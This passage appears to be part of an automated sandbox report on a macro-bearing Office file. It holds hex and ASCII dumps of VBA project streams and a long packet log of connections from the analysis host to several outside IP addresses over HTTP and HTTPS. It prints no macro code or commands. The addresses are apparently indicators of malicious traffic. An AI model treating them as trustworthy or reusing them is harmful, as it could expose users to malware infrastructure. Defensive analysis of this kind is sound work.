Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	1550
Entropy:	2.874874206462334
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	156
Entropy:	1.7820663630707385
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	547
Entropy:	6.129298700211954
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
Data Raw:	01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:49:42.806013107 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:43.018791914 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:43.019543886 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:43.019753933 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:43.238495111 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.509680033 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.509727955 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.509749889 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.509764910 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.509955883 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.511492014 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.511523962 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.511545897 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.511558056 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.511692047 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.517646074 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.517687082 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.517817974 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.531419039 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.596407890 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.723573923 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:49:44.726330042 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726370096 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726394892 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726421118 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726444960 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726463079 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726468086 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726489067 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726490974 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726506948 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726521015 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726536989 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726557970 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726562977 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726582050 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726584911 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726588964 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726605892 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726622105 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726625919 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726644993 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.726646900 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726658106 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726684093 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.726984024 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.727957964 CEST	49173	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.730679035 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.740715981 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.740912914 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:49:44.783030033 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:49:44.799953938 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808713913 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808753967 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808772087 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808784008 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808799982 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808831930 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808845043 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:49:44.808954000 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:49:44.809251070 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:49:44.824507952 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.824610949 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.825329065 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:44.946824074 CEST	80	49173	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.946861029 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:44.947021008 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.023315907 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.047962904 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048006058 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048029900 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048054934 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048063993 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048078060 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048089027 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048105001 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048106909 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048140049 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048430920 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048464060 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048485041 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048499107 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048511982 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048516989 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048535109 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048537970 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.048551083 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.048584938 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.050796032 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.103580952 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.120213032 CEST	80	49179	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.120291948 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.129555941 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.145968914 CEST	80	49179	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.163527012 CEST	80	49179	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.163630962 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.177083015 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.177124023 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.177167892 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.238759041 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.238792896 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.238895893 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264013052 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264065027 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264070988 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264089108 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264101028 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264112949 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264122963 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264136076 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264143944 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264158010 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264167070 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264179945 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264193058 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264202118 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264205933 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264224052 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264235020 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264259100 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264291048 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264312029 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264331102 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264333010 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264348030 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264374018 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264381886 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264405012 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264415979 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264426947 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264439106 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264448881 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264452934 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264472008 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264486074 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264494896 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264503956 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264528036 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264635086 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264676094 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.264686108 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.264722109 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.275046110 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.275728941 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.371887922 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.371906996 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.436973095 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.437087059 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.439373970 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.439456940 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.457247972 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.457269907 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.457737923 CEST	443	49180	142.250.181.238	192.168.2.22
Aug 16, 2022 11:49:45.457803965 CEST	49180	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:49:45.487943888 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.487986088 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488014936 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488023043 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488040924 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488058090 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488066912 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488066912 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488075972 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488091946 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488101959 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488140106 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488166094 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488190889 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488210917 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488213062 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488229990 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488234997 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488240004 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488257885 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488279104 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488291979 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488303900 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488312960 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488390923 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488415003 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488435984 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488450050 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488456964 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488465071 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488472939 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488477945 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488493919 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488502979 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488559961 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488583088 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488605022 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488615990 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488627911 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488630056 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488640070 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488666058 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488706112 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488707066 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488730907 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488754034 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488756895 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488770008 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488785982 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488845110 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488866091 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488887072 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488889933 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488903999 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488905907 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488919020 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488926888 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.488940001 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.488960981 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489010096 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489033937 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489053965 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489054918 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489070892 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489078999 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489078999 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489100933 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489115953 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489129066 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489408970 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489629030 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489658117 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.489679098 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489706039 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.489799023 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490766048 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490799904 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490823984 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490828037 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490844965 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490848064 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490855932 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490871906 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490879059 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490900993 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490901947 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490927935 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490931988 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490952015 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.490956068 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.490979910 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.491446972 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.491477013 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.491498947 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.491518021 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.492428064 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.497520924 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.497553110 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.497577906 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.497601986 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.497602940 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.497637987 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.497648001 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.497653961 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.707946062 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.707982063 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708004951 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708026886 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708048105 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708067894 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708087921 CEST	80	49176	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.708152056 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.708187103 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.710819006 CEST	49176	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.713368893 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713404894 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713429928 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713449001 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713466883 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713484049 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713500023 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713504076 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.713516951 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713527918 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.713534117 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713536024 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.713538885 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.713550091 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:45.713598967 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:45.714039087 CEST	49174	80	192.168.2.22	187.45.240.69
